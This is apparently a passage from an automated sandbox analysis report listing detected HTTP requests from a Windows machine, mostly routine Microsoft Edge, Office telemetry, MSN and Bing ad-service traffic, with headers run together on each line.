Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733239900&P2=404&P3=2&P4=c55mvasFp70hF%2bC%2fc%2f7DxrElQLhfIKbMB7uTMvUOg7c8ydCOjcCP6J4CQVPgKeHCNvjI7gqP2kvg5aYQu2htFw%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: RUolArwg/nbOjNzft6DbFuSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=88000045&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241126T153143Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=4b7246785405439e903e545d8bd32b48&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=602473&metered=false&nettype=ethernet&npid=sc-88000045&oemName=prwkvq%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=prwkvq20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=602473&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAZ1hoi1TzaYpzVzVd+YEO56cZ06MOdgqXgXAos1MJlN20gETlA48eLOMymFJLsl3BR1xoa0l1AqAc1pL5sh92Wgv6yvNuk1kRRInCLjTHwSOB+mN4vbAGUcSb2inNrqBd6MrjdXVkRBeP9lXgilXe2QNa1DQCAM3N2SEx7JT5JOBvnF2NZjoOYwIm+8ouLgbnZrw8Z8oab5XNr1HLO65qqsvrynoNCHPogROjeI7uCNqb4bGLh6mXzcbfXd/B+iLou/WeT0DyeHD7YG8I/ToyDfN3baS69B6WQAwym8CSQ4ZGFVnHigaFfNozHq/m68FrSCq9Xv8TsYixg0Dz4ydktUQZgAAEBDtgiZRMx/Tgqy+mRRqYdmwAQ+0uyQ1ZF1E46U1ViVuoYlHgmEZfw9+BKZgJW41XjnxSrfEL7QTf+WdsmMa1hYFEJVShV3v+8OPaaCC+bPsUYzcaxkRJlns7i9r4Zh/H2hGBaGHpbTWbjMFYBKmFiVinYcosVV6FUDTpuF8I3r/+K5/dXXWbpu2FZ/LoqVBfJd5KbVz3JID2xH/KlolYAuYxWnxDEeCdhp6w6ZjyiPJst4jrsQI8T1cuEdqWqH/ML1OQGOzBBKDUYVAp7iosekWNSfZF+ysBMvgPPguxFTkyYkULo1G8hx5xLE0qN3XikC/LSFeiXH7q6cuFv3YpdwmLa9aXqrVAeWMAaQ1k7ZcD4tYVay7BCfrwZ3hu8U/ZWNwegHyBLMz32b2JXtCp8kc7dzknTJCfKycGCMiKX+s0JPnLVGp+2FAn9aNmHDKDOimtVpc4xsPvCfDeXJDANCOQapQ1ffYR5ycrCfpFe1ejnR07K0rfcxzXBQuicHjpWEzIlZeKXYtGpIAxey70/Jy0aKxeC0b2M+qF/U7Fey5VK9kv1cwudrC5JBXPolZB75gslaXq3ivS8C3s/UzoXh+8tcB&p=Cache-Control: no-cacheMS-CV: kFlAbtvs20+KVsvY.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=ed3d001be68049bbb5f2765b5770c75e&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/vendors.7e27cca6027b8d6697cb.js HTTP/1.1Host: assets2.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/microsoft.4a2a9ed8240d3004231b.js HTTP/1.1Host: assets2.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=ed3d001be68049bbb5f2765b5770c75e&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-AliveCookie: MUID=019153D917C7684C3781469A16A5691E; MR=0
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /statics/icons/favicon_newtabpage.png HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=2FBC76E93A286CF7086363AA3B5A6D16; _EDGE_S=F=1&SID=05BF87E60AF466781CE592A50BC66774; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=ed3d001be68049bbb5f2765b5770c75e&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-AliveCookie: MUID=019153D917C7684C3781469A16A5691E; MSPTC=E8OOgcamJav6i3YINMV2ws7SVfgx6Xyob4wcSgpSsRk; MR=0
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732635113530&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=1c3b2735961c4725a13e4f86e67a68ce&activityId=1c3b2735961c4725a13e4f86e67a68ce&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=2FBC76E93A286CF7086363AA3B5A6D16; _EDGE_S=F=1&SID=05BF87E60AF466781CE592A50BC66774; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b?rn=1732635113531&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2FBC76E93A286CF7086363AA3B5A6D16&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732635113530&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=1c3b2735961c4725a13e4f86e67a68ce&activityId=1c3b2735961c4725a13e4f86e67a68ce&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=95C3CC4CBBB3405F9E229E1366ADE0A3&RedC=c.msn.com&MXFR=2FBC76E93A286CF7086363AA3B5A6D16 HTTP/1.1Host: c.bing.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-MS-GEC: 9242E0239E4C7D136C4BD4F9D530B2276BACEBC139C16DC6C0033546D24CA066Sec-MS-GEC-Version: 1-117.0.2045.55Referer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msIAw.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
